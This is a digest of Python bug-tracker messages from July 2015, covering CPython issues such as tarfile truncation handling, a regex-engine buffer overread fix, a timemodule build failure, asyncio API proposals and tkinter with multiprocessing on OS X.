Autocomplete and Call Tips Do Not Pop Up on OS X with ActiveTcl 8.5.18 In-Reply-To: <1436129307.64.0.192936457067.issue24570@psf.upfronthosting.co.za> Message-ID: <1436160663.81.0.12315996844.issue24570@psf.upfronthosting.co.za> Alessandro Rosa added the comment: Thank you for the reply. I raised a bug with ActiveState. I am a Community User, so I can't access prior builds of ActiveTcl, and I am no where near competent enough to build up a framework. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 07:31:17 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 06 Jul 2015 05:31:17 +0000 Subject: [issue18684] Pointers point out of array bound in _sre.c In-Reply-To: <1375962984.07.0.918202360038.issue18684@psf.upfronthosting.co.za> Message-ID: <1436160677.53.0.336226525953.issue18684@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you Mark. ---------- stage: patch review -> commit review versions: +Python 2.7, Python 3.4, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 09:33:13 2015 From: report at bugs.python.org (Roundup Robot) Date: Mon, 06 Jul 2015 07:33:13 +0000 Subject: [issue24259] tar.extractall() does not recognize unexpected EOF In-Reply-To: <1432221496.14.0.442715189868.issue24259@psf.upfronthosting.co.za> Message-ID: <20150706073310.23363.41687@psf.io> Roundup Robot added the comment: New changeset 372aa98eb72e by Lars Gust?bel in branch '2.7': Issue #24259: tarfile now raises a ReadError if an archive is truncated inside a data segment. https://hg.python.org/cpython/rev/372aa98eb72e New changeset c7f4f61697b7 by Lars Gust?bel in branch '3.4': Issue #24259: tarfile now raises a ReadError if an archive is truncated inside a data segment. https://hg.python.org/cpython/rev/c7f4f61697b7 New changeset 59cbdc9eb3d9 by Lars Gust?bel in branch '3.5': Merge with 3.4: Issue #24259: tarfile now raises a ReadError if an archive is truncated inside a data segment. https://hg.python.org/cpython/rev/59cbdc9eb3d9 New changeset 6be8fa47c002 by Lars Gust?bel in branch 'default': Merge with 3.5: Issue #24259: tarfile now raises a ReadError if an archive is truncated inside a data segment. https://hg.python.org/cpython/rev/6be8fa47c002 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 09:34:50 2015 From: report at bugs.python.org (=?utf-8?q?Lars_Gust=C3=A4bel?=) Date: Mon, 06 Jul 2015 07:34:50 +0000 Subject: [issue24259] tar.extractall() does not recognize unexpected EOF In-Reply-To: <1432221496.14.0.442715189868.issue24259@psf.upfronthosting.co.za> Message-ID: <1436168090.23.0.195325758207.issue24259@psf.upfronthosting.co.za> Changes by Lars Gust?bel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 11:21:39 2015 From: report at bugs.python.org (=?utf-8?q?Krzysztof_S=C5=82ycha=C5=84?=) Date: Mon, 06 Jul 2015 09:21:39 +0000 Subject: [issue24574] ANSI escape sequences breaking string justification Message-ID: <1436174499.9.0.270807201106.issue24574@psf.upfronthosting.co.za> New submission from Krzysztof S?ycha?: Strings containing ANSI escape sequences are not justified if the length including escape sequences exceeds the field width. Testcase: Let's make a string with escape sequences - bold, for example: >>> string = '\033[01m' + 'bold' + '\033[0m' String length will be larger than the length of a displayed string (should be 4, is 13). Looks like '\03' is counted as escape sequence, but '3[01m' and '3[0m' are not, and count into the string length. >>> len(string) 13 Try to print justified string - should be centered between '|' signs >>> print('|' + string.center(10) + '|') |bold| Does not work at all... If field length is larger than len(string), justification works >>> print('|' + string.center(30) + '|') | bold | ---------- components: Interpreter Core messages: 246351 nosy: Krzysztof S?ycha? priority: normal severity: normal status: open title: ANSI escape sequences breaking string justification type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 12:47:49 2015 From: report at bugs.python.org (Stefan Krah) Date: Mon, 06 Jul 2015 10:47:49 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436179669.0.0.290773676556.issue24567@psf.upfronthosting.co.za> Stefan Krah added the comment: > Python-the-language makes no promises about adhering to IEEE 754 arithmetic rule. Still, I think we could switch to -mfpmath=sse, which would at least guarantee consistent behavior across different gcc versions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 12:52:21 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 06 Jul 2015 10:52:21 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436179941.77.0.0296300676146.issue24566@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Yes, this patch was not applied because it had no visible effect on Linux. No, with your report, there is a case on Windows. ---------- assignee: -> serhiy.storchaka resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Pointers point out of array bound in _sre.c versions: +Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 12:52:50 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 06 Jul 2015 10:52:50 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436179970.51.0.727457491298.issue24566@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- Removed message: http://bugs.python.org/msg246353 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 12:53:03 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 06 Jul 2015 10:53:03 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436179983.42.0.13425228562.issue24566@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Yes, this patch was not applied because it had no visible effect on Linux. Now, with your report, there is a case on Windows. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 13:21:24 2015 From: report at bugs.python.org (Padmanabhan Tr) Date: Mon, 06 Jul 2015 11:21:24 +0000 Subject: [issue24551] byte conversion In-Reply-To: <1435855840.11.0.842083565747.issue24551@psf.upfronthosting.co.za> Message-ID: <919550441.1411491.1436181678222.JavaMail.yahoo@mail.yahoo.com> Padmanabhan Tr added the comment: Dear Mr Steven D'ApranoThanks for your prompt response.I guess that 'b'\x00\x00 0' is the same as b'\x00\x00\x20\x30' if we take (space) as 20 & 0 as 30 as with ASCII / UTF-8 representation.? But if I go by 'Python Library Reference -Release version 3.4.2 (Section 4.4.2) ' there is no room for ASCII / UTF-8 representation here.? Direct byte conversion is used.Please confirm whether I am right.RegardsPadmanabhan On Thursday, July 2, 2015 10:20 PM, Steven D'Aprano wrote: Steven D'Aprano added the comment: I don't know, what *is* the problem? What behaviour did you expect? The code sample you show seems to be working exactly as it is supposed to. b'\x00\x00 0' is the same as b'\x00\x00\x20\x30', and that is the same as b'\x20\x30' with NUL padding on the left. Written as integers, that is like 0x00002030 == 0x2030 == 8240. I don't think this demonstrates a bug or problem. If you still believe it does, please re-open the issue with a detailed description of what behaviour you expected and why you think this is a bug. ---------- nosy: +steven.daprano resolution:? -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 13:23:59 2015 From: report at bugs.python.org (Roundup Robot) Date: Mon, 06 Jul 2015 11:23:59 +0000 Subject: [issue18684] Pointers point out of array bound in _sre.c In-Reply-To: <1375962984.07.0.918202360038.issue18684@psf.upfronthosting.co.za> Message-ID: <20150706112356.3167.26425@psf.io> Roundup Robot added the comment: New changeset 0007031e0452 by Serhiy Storchaka in branch '2.7': Issue #18684: Fixed reading out of the buffer in the re module. https://hg.python.org/cpython/rev/0007031e0452 New changeset 389795b7c703 by Serhiy Storchaka in branch '3.4': Issue #18684: Fixed reading out of the buffer in the re module. https://hg.python.org/cpython/rev/389795b7c703 New changeset 5adf995d443f by Serhiy Storchaka in branch '3.5': Issue #18684: Fixed reading out of the buffer in the re module. https://hg.python.org/cpython/rev/5adf995d443f New changeset bb9fc884a838 by Serhiy Storchaka in branch 'default': Issue #18684: Fixed reading out of the buffer in the re module. https://hg.python.org/cpython/rev/bb9fc884a838 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 13:30:39 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 06 Jul 2015 11:30:39 +0000 Subject: [issue18684] Pointers point out of array bound in _sre.c In-Reply-To: <1375962984.07.0.918202360038.issue18684@psf.upfronthosting.co.za> Message-ID: <1436182239.66.0.896568593311.issue18684@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 14:19:26 2015 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 06 Jul 2015 12:19:26 +0000 Subject: [issue24574] ANSI escape sequences breaking string justification In-Reply-To: <1436174499.9.0.270807201106.issue24574@psf.upfronthosting.co.za> Message-ID: <1436185166.23.0.0106555578811.issue24574@psf.upfronthosting.co.za> Eric V. Smith added the comment: strings are unaware of any ANSI escape sequences or other structure that is being ascribed to their contents. The '\033' escape character is being counted, as are the rest of the characters in that string. Since the string is already at least 10 characters long, .center(10) returns the original string. ---------- nosy: +eric.smith resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 15:13:16 2015 From: report at bugs.python.org (Timothy Murphy) Date: Mon, 06 Jul 2015 13:13:16 +0000 Subject: [issue24575] timemodule build fail - missing definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH Message-ID: <1436188396.48.0.089424009249.issue24575@psf.upfronthosting.co.za> New submission from Timothy Murphy: My build of the 3.5 head fails in timemodule.c which results in an interpreter that can run but can't "import time". Details: changeset 96851:bb9fc884a838 on Fedora Linux x86_64 Output: /home/tim/build/cpython/Modules/timemodule.c: In function ?time_strftime?: /home/tim/build/cpython/Modules/timemodule.c:656:9: error: unknown type name ?_Py_BEGIN_SUPPRESS_IPH? _Py_BEGIN_SUPPRESS_IPH ^ /home/tim/build/cpython/Modules/timemodule.c:656:9: error: ISO C90 forbids mixed declarations and code [-Werror=declaration-after-statement] /home/tim/build/cpython/Modules/timemodule.c:658:9: error: ?_Py_END_SUPPRESS_IPH? undeclared (first use in this function) _Py_END_SUPPRESS_IPH ^ /home/tim/build/cpython/Modules/timemodule.c:658:9: note: each undeclared identifier is reported only once for each function it appears in /home/tim/build/cpython/Modules/timemodule.c:662:9: error: expected ?;? before ?if? if (buflen > 0 || i >= 256 * fmtlen) { ^ /home/tim/build/cpython/Modules/timemodule.c:657:9: warning: unused variable ?buflen? [-Wunused-variable] buflen = format_time(outbuf, i, fmt, &buf); ^ /home/tim/build/cpython/Modules/timemodule.c:561:20: warning: unused variable ?buflen? [-Wunused-variable] size_t fmtlen, buflen; ^ /home/tim/build/cpython/Modules/timemodule.c:561:12: warning: variable ?fmtlen? set but not used [-Wunused-but-set-variable] size_t fmtlen, buflen; ^ cc1: some warnings being treated as errors Failed to build these modules: time ---------- components: Build, Extension Modules messages: 246358 nosy: tnmurphy priority: normal severity: normal status: open title: timemodule build fail - missing definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH type: compile error versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 15:17:24 2015 From: report at bugs.python.org (Timothy Murphy) Date: Mon, 06 Jul 2015 13:17:24 +0000 Subject: [issue24575] timemodule build fail - missing definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH In-Reply-To: <1436188396.48.0.089424009249.issue24575@psf.upfronthosting.co.za> Message-ID: <1436188644.05.0.0207792921606.issue24575@psf.upfronthosting.co.za> Timothy Murphy added the comment: This patch works for me on Linux but it seems clearly wrong for windows. The problem is that using it on windows introduces a dependency and I don't have a windows machine to check if this is ok. To me it seems that the time module must have been built as part of the core somehow in the past. diff -r 5adf995d443f Modules/timemodule.c --- a/Modules/timemodule.c Mon Jul 06 14:03:01 2015 +0300 +++ b/Modules/timemodule.c Mon Jul 06 14:15:52 2015 +0100 @@ -30,6 +30,13 @@ #endif /* MS_WINDOWS */ #endif /* !__WATCOMC__ || __QNX__ */ +#define Py_BUILD_CORE +#include "pyport.h" + +#define _Py_BEGIN_SUPPRESS_IPH +#define _Py_END_SUPPRESS_IPH + + /* Forward declarations */ static int pysleep(_PyTime_t); static PyObject* floattime(_Py_clock_info_t *info); ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 15:23:58 2015 From: report at bugs.python.org (=?utf-8?b?5r2Y5paw5piO?=) Date: Mon, 06 Jul 2015 13:23:58 +0000 Subject: [issue24576] python27 unicode align comments Message-ID: <1436189038.3.0.738800086055.issue24576@psf.upfronthosting.co.za> New submission from ???: see patch. ---------- components: Unicode files: python27_unicode_align_comments.patch keywords: patch messages: 246360 nosy: ezio.melotti, haypo, ??? priority: normal severity: normal status: open title: python27 unicode align comments versions: Python 2.7 Added file: http://bugs.python.org/file39875/python27_unicode_align_comments.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 15:51:22 2015 From: report at bugs.python.org (Mark Lawrence) Date: Mon, 06 Jul 2015 13:51:22 +0000 Subject: [issue18295] Possible integer overflow in PyCode_New() In-Reply-To: <1372108745.44.0.114375127897.issue18295@psf.upfronthosting.co.za> Message-ID: <1436190682.38.0.847089873554.issue18295@psf.upfronthosting.co.za> Mark Lawrence added the comment: Could we try and get this closed please, as I'm always a little concerned that a code change causes a genuine warning that should be actioned, but it gets masked by all the others. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 15:57:05 2015 From: report at bugs.python.org (R. David Murray) Date: Mon, 06 Jul 2015 13:57:05 +0000 Subject: [issue24573] Using multiprocessing with tkinter frames in Python 3.4.3 crashes in OS X In-Reply-To: <1436149068.06.0.463306574037.issue24573@psf.upfronthosting.co.za> Message-ID: <1436191025.93.0.619105677184.issue24573@psf.upfronthosting.co.za> R. David Murray added the comment: Your test code works for me on linux and python3.3 and 3.4.1. That is, I can click four buttons and get back the prompt, with no segfault. It is quite possible this is a bug in the Mac version of TK, assuming this is even supposed to work. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 15:57:21 2015 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 06 Jul 2015 13:57:21 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436191041.9.0.80457231227.issue24567@psf.upfronthosting.co.za> Mark Dickinson added the comment: > Still, I think we could switch to -mfpmath=sse, which would at least guarantee consistent behavior across different gcc versions. ... which would fix fsum on 32-bit Linux, too. (I thought there was an open issue for this, but now I can't find it.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 16:35:41 2015 From: report at bugs.python.org (R. David Murray) Date: Mon, 06 Jul 2015 14:35:41 +0000 Subject: [issue24574] ANSI escape sequences breaking string justification In-Reply-To: <1436174499.9.0.270807201106.issue24574@psf.upfronthosting.co.za> Message-ID: <1436193341.27.0.84129878303.issue24574@psf.upfronthosting.co.za> R. David Murray added the comment: See issue 12499 for an RFE to textwrap that would at least partially address this use case. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 16:43:51 2015 From: report at bugs.python.org (R. David Murray) Date: Mon, 06 Jul 2015 14:43:51 +0000 Subject: [issue24575] timemodule build fail - missing definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH In-Reply-To: <1436188396.48.0.089424009249.issue24575@psf.upfronthosting.co.za> Message-ID: <1436193831.13.0.838046318711.issue24575@psf.upfronthosting.co.za> R. David Murray added the comment: It works for us. I've added Steve Dower to nosy, who I believe added that code. IIUC it should only come into play on Windows. Are you using a stock checkout, or have you applied local modifications? The changeset id you reference doesn't have IPH in it. ---------- nosy: +r.david.murray, steve.dower versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 16:44:31 2015 From: report at bugs.python.org (Tim Peters) Date: Mon, 06 Jul 2015 14:44:31 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436193871.34.0.960261794064.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: Mark, closest I could find to a substantive SSE-vs-fsum report is here, but it was closed (because the fsum tests were changed to ignore the problem ;-) ): http://bugs.python.org/issue5593 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 16:52:34 2015 From: report at bugs.python.org (Steve Dower) Date: Mon, 06 Jul 2015 14:52:34 +0000 Subject: [issue24575] timemodule build fail - missing definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH In-Reply-To: <1436188396.48.0.089424009249.issue24575@psf.upfronthosting.co.za> Message-ID: <1436194354.79.0.403788674355.issue24575@psf.upfronthosting.co.za> Steve Dower added the comment: Last time this came up the solution was either "hg purge" or "make distclean", I don't remember which worked. timemodule.c should already be built with Py_BUILD_CORE set in CFLAGS, but apparently it's possible for that setting to disappear from one of the generated build files. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 16:57:58 2015 From: report at bugs.python.org (Timothy Murphy) Date: Mon, 06 Jul 2015 14:57:58 +0000 Subject: [issue24575] timemodule build fail - missing definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH In-Reply-To: <1436188396.48.0.089424009249.issue24575@psf.upfronthosting.co.za> Message-ID: <1436194678.35.0.168336461638.issue24575@psf.upfronthosting.co.za> Timothy Murphy added the comment: I'm so sorry. I apologise for mucking up and giving you the wrong changeset :-( my hg summary output is as follows: parent: 96850:5adf995d443f Issue #18684: Fixed reading out of the buffer in the re module. branch: 3.5 commit: 2 unknown (clean) update: (current) mq: 1 unapplied I have no modifications. The macros only have meaningful definitions on windows and they come from ./Include/pyport.h. I could just include this but they are protected by Py_BUILD_CORE so I'm not clear what's really going on and ... hence I leave it to others. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 17:04:12 2015 From: report at bugs.python.org (Timothy Murphy) Date: Mon, 06 Jul 2015 15:04:12 +0000 Subject: [issue24575] timemodule build fail - missing definitions for _Py_BEGIN_SUPPRESS_IPH and _Py_END_SUPPRESS_IPH In-Reply-To: <1436188396.48.0.089424009249.issue24575@psf.upfronthosting.co.za> Message-ID: <1436195052.33.0.501387376872.issue24575@psf.upfronthosting.co.za> Timothy Murphy added the comment: Ok so I see the compiler is including pyport.h (using strace) so that means that it can only be a case of Py_BUILD_CORE not being in CFLAGS for timemodule.o. I suppose that this is a configure problem. I'll try to work out how/why. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 17:14:36 2015 From: report at bugs.python.org (R. David Murray) Date: Mon, 06 Jul 2015 15:14:36 +0000 Subject: [issue24577] Document behavior (logging and call to connection_lost) on socket TimeoutError Message-ID: <1436195676.25.0.309895350913.issue24577@psf.upfronthosting.co.za> New submission from R. David Murray: I saw _fatal_error tracebacks in my application log, and thought I had hit an asyncio bug, but according to https://github.com/python/asyncio/issues/135 this is the correct behavior. That issue ends with a request to open a documentation issue on the python tracker, but I don't think that was done (I couldn't find one, anyway), so I'm opening this one. At this point in time I have no idea where this would go in the docs. Maybe in the docs for connection_lost? ---------- messages: 246370 nosy: r.david.murray priority: normal severity: normal status: open title: Document behavior (logging and call to connection_lost) on socket TimeoutError _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 17:16:02 2015 From: report at bugs.python.org (R. David Murray) Date: Mon, 06 Jul 2015 15:16:02 +0000 Subject: [issue24577] Document behavior (logging and call to connection_lost) on socket TimeoutError In-Reply-To: <1436195676.25.0.309895350913.issue24577@psf.upfronthosting.co.za> Message-ID: <1436195762.62.0.23875493028.issue24577@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- assignee: -> docs at python components: +Documentation, asyncio nosy: +docs at python, gvanrossum, haypo, yselivanov stage: -> needs patch type: -> behavior versions: +Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 17:36:36 2015 From: report at bugs.python.org (R. David Murray) Date: Mon, 06 Jul 2015 15:36:36 +0000 Subject: [issue24577] Document asyncio behavior (logging and call to connection_lost) on socket TimeoutError In-Reply-To: <1436195676.25.0.309895350913.issue24577@psf.upfronthosting.co.za> Message-ID: <1436196996.25.0.325663730977.issue24577@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- title: Document behavior (logging and call to connection_lost) on socket TimeoutError -> Document asyncio behavior (logging and call to connection_lost) on socket TimeoutError _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 18:09:46 2015 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 06 Jul 2015 16:09:46 +0000 Subject: [issue4356] Add "key" argument to "bisect" module functions In-Reply-To: <1227115048.67.0.318831592843.issue4356@psf.upfronthosting.co.za> Message-ID: <1436198986.24.0.0448248624672.issue4356@psf.upfronthosting.co.za> Mark Dickinson added the comment: I've just encountered another case where the lack of a key on bisect has led to more complicated and error-prone code than necessary. Quick summary: we've got a list containing an ordered collection of non-overlapping open intervals on the real line. (In case anyone wants to know, the intervals represent the depths of chunks of interest in a rock core sample.) There's then code for splitting an interval into two pieces at a given point, and for merging two adjacent intervals. Splitting involves (i) finding the relevant interval using a bisect search based on the left endpoint of each interval, then (ii) replacing that interval with two new intervals in the list. The fact that the list is being modified after every bisect search makes it messy to cache the left endpoints, since that cache has to be updated along with the list at every stage. The operations are also relatively rare, which makes it feel inefficient to be computing *all* the left endpoints of the intervals in the first place. Adding comparisons to our interval class is doable, but invasive and unnatural, since the actual class carries other pieces of data and there are many possible meanings for `<` with respect to that class: it doesn't make sense to hard-code the comparison with respect to depths in that class's `__lt__` method. So I think there's a strong case for a key argument in some future version of Python. [Of course, for our app we're on Python 2.7, so this issue won't help us directly. We're probably going to go with either reimplementing bisect or using a proxy array like the one suggested by Eric Reynolds.] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 18:49:25 2015 From: report at bugs.python.org (sanad) Date: Mon, 06 Jul 2015 16:49:25 +0000 Subject: [issue17311] use distutils terminology in "PyPI package display" section In-Reply-To: <1361988977.92.0.980923457558.issue17311@psf.upfronthosting.co.za> Message-ID: <1436201365.87.0.620058764675.issue17311@psf.upfronthosting.co.za> sanad added the comment: In an attempt to fix this issue on lines of the criteria given by nick, have uploaded my patch . Please review it so that If mistake is there ,I can fix and upload corrected patch again. Thanks for your time. ---------- keywords: +patch nosy: +sanad Added file: http://bugs.python.org/file39876/issue17311.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 20:01:54 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Mon, 06 Jul 2015 18:01:54 +0000 Subject: [issue24578] [RFE] Add asyncio.wait_for_result API Message-ID: <1436205714.01.0.481233835807.issue24578@psf.upfronthosting.co.za> New submission from Sven R. Kunze: In order to complement http://bugs.python.org/issue24571, this is another high-level convenience API for asyncio to treat an awaitable like a usual subroutine (credits go to Nick Coghlan): # Call awaitable from synchronous code def wait_for_result(awaitable): """Usage: result = asyncio.wait_for_result(awaitable)""" return asyncio.get_event_loop().run_until_complete(awaitable.__await__()) It may not be that conceptually dense, however, I feel for projects transitioning from the classical subroutine world to the asyncio world, this functionality might prove useful to bridge both worlds seamlessly when necessary. ---------- components: asyncio messages: 246373 nosy: gvanrossum, haypo, srkunze, yselivanov priority: normal severity: normal status: open title: [RFE] Add asyncio.wait_for_result API versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 20:02:58 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Mon, 06 Jul 2015 18:02:58 +0000 Subject: [issue24578] [RFE] Add asyncio.wait_for_result API In-Reply-To: <1436205714.01.0.481233835807.issue24578@psf.upfronthosting.co.za> Message-ID: <1436205778.42.0.615014293981.issue24578@psf.upfronthosting.co.za> Changes by Sven R. Kunze : ---------- nosy: +giampaolo.rodola, ncoghlan, pitrou -srkunze type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 20:03:13 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Mon, 06 Jul 2015 18:03:13 +0000 Subject: [issue24578] [RFE] Add asyncio.wait_for_result API In-Reply-To: <1436205714.01.0.481233835807.issue24578@psf.upfronthosting.co.za> Message-ID: <1436205793.76.0.0389896626815.issue24578@psf.upfronthosting.co.za> Changes by Sven R. Kunze : ---------- nosy: +srkunze _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 20:05:33 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Mon, 06 Jul 2015 18:05:33 +0000 Subject: [issue24571] [RFE] Add asyncio.blocking_call API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436205933.04.0.633987180679.issue24571@psf.upfronthosting.co.za> Sven R. Kunze added the comment: Thanks for taking the initiative here, Nick. I created a follow-up on this: http://bugs.python.org/issue24578 In order to bridge both worlds, projects might need convenient way from and to either world (classic and asyncio). ---------- components: +asyncio nosy: +srkunze _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 20:13:09 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Mon, 06 Jul 2015 18:13:09 +0000 Subject: [issue24571] [RFE] Add asyncio.blocking_call API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436206389.87.0.919742714334.issue24571@psf.upfronthosting.co.za> Sven R. Kunze added the comment: 2 remarks: 1) I would rather go for a more comprehensible name such as 'get_awaitable' instead of 'blocking_call'. Later reminds me of the execution of f which is not the case. 2) redundant ) in the end of """Usage: result = await asyncio.blocking_call(f, *args, **kwds))""" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 20:46:55 2015 From: report at bugs.python.org (Ned Deily) Date: Mon, 06 Jul 2015 18:46:55 +0000 Subject: [issue24570] IDLE Autocomplete and Call Tips Do Not Pop Up on OS X with ActiveTcl 8.5.18 In-Reply-To: <1436129307.64.0.192936457067.issue24570@psf.upfronthosting.co.za> Message-ID: <1436208415.27.0.647086230301.issue24570@psf.upfronthosting.co.za> Ned Deily added the comment: Kevin, I think that Autocomplete is implemented as an IDLE extension in: Lib/idlelib/AutoComplete.py Lib/idlelib/AutoCompleteWindow.py and configured in: Lib/idlelib/config-extensions.def -> force-open-completions= Perhaps someone could try to reduce it to smaller test case; I will likely not have time to work on it myself for the immediate future. Tal, can you reproduce this issue when using ActiveTcl 8.5.18? ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 21:32:44 2015 From: report at bugs.python.org (Ned Deily) Date: Mon, 06 Jul 2015 19:32:44 +0000 Subject: [issue24573] Using multiprocessing with tkinter frames in Python 3.4.3 crashes in OS X In-Reply-To: <1436149068.06.0.463306574037.issue24573@psf.upfronthosting.co.za> Message-ID: <1436211164.75.0.586353708157.issue24573@psf.upfronthosting.co.za> Ned Deily added the comment: A web search will find multiple hits for problems with using Tk (and Tkinter) with multiprocess on OS X and elsewhere. On OS X, there is a well-known and documented restriction that impacts Tk-based apps: "When launching separate processes using the fork function, you must always follow a call to fork with a call to exec or a similar function. Applications that depend on the Core Foundation, Cocoa, or Core Data frameworks (either explicitly or implicitly) must make a subsequent call to an exec function or those frameworks may behave improperly." https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/Multithreading/AboutThreads/AboutThreads.html For a specific example of problems using tkinter and multiprocessing see: http://stackoverflow.com/questions/23599087/multiprocessing-python-core-foundation-error Some suggest that you *might* be able to get things to work as long as you defer importing tkinter (and, thus, initializing Tcl and Tk) until after all of the processes are created. But, in general, it's not a good idea to separate tkinter calls across multiple processes. See Bryan Oakley's advice in the above SO link: "You'll need to keep all GUI code in the master process, and have your other process communicate with it via a queue." ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 21:34:49 2015 From: report at bugs.python.org (Ronald Oussoren) Date: Mon, 06 Jul 2015 19:34:49 +0000 Subject: [issue24573] Using multiprocessing with tkinter frames in Python 3.4.3 crashes in OS X In-Reply-To: <1436191025.93.0.619105677184.issue24573@psf.upfronthosting.co.za> Message-ID: Ronald Oussoren added the comment: This is likely a known issue with using os.fork on OSX: that is unsafe, and likely causes crashes, once one of Apple's frameworks has initialized. I think it might be better in the long run to make multiprocessing on OSX behave the same as on windows, but haven't thought about the consequences of this enough to be sure (because there are downsides as well) BTW. Besides that, the code pattern doesn't match how GUI applications are supposed to work on OSX. Applications are basically supposed to be single process, even when working with multiple documents. -- On the road, hence brief. Op 6 jul. 2015 om 15:57 heeft R. David Murray het volgende geschreven: > > R. David Murray added the comment: > > Your test code works for me on linux and python3.3 and 3.4.1. That is, I can click four buttons and get back the prompt, with no segfault. It is quite possible this is a bug in the Mac version of TK, assuming this is even supposed to work. > > ---------- > nosy: +r.david.murray > > _______________________________________ > Python tracker > > _______________________________________ 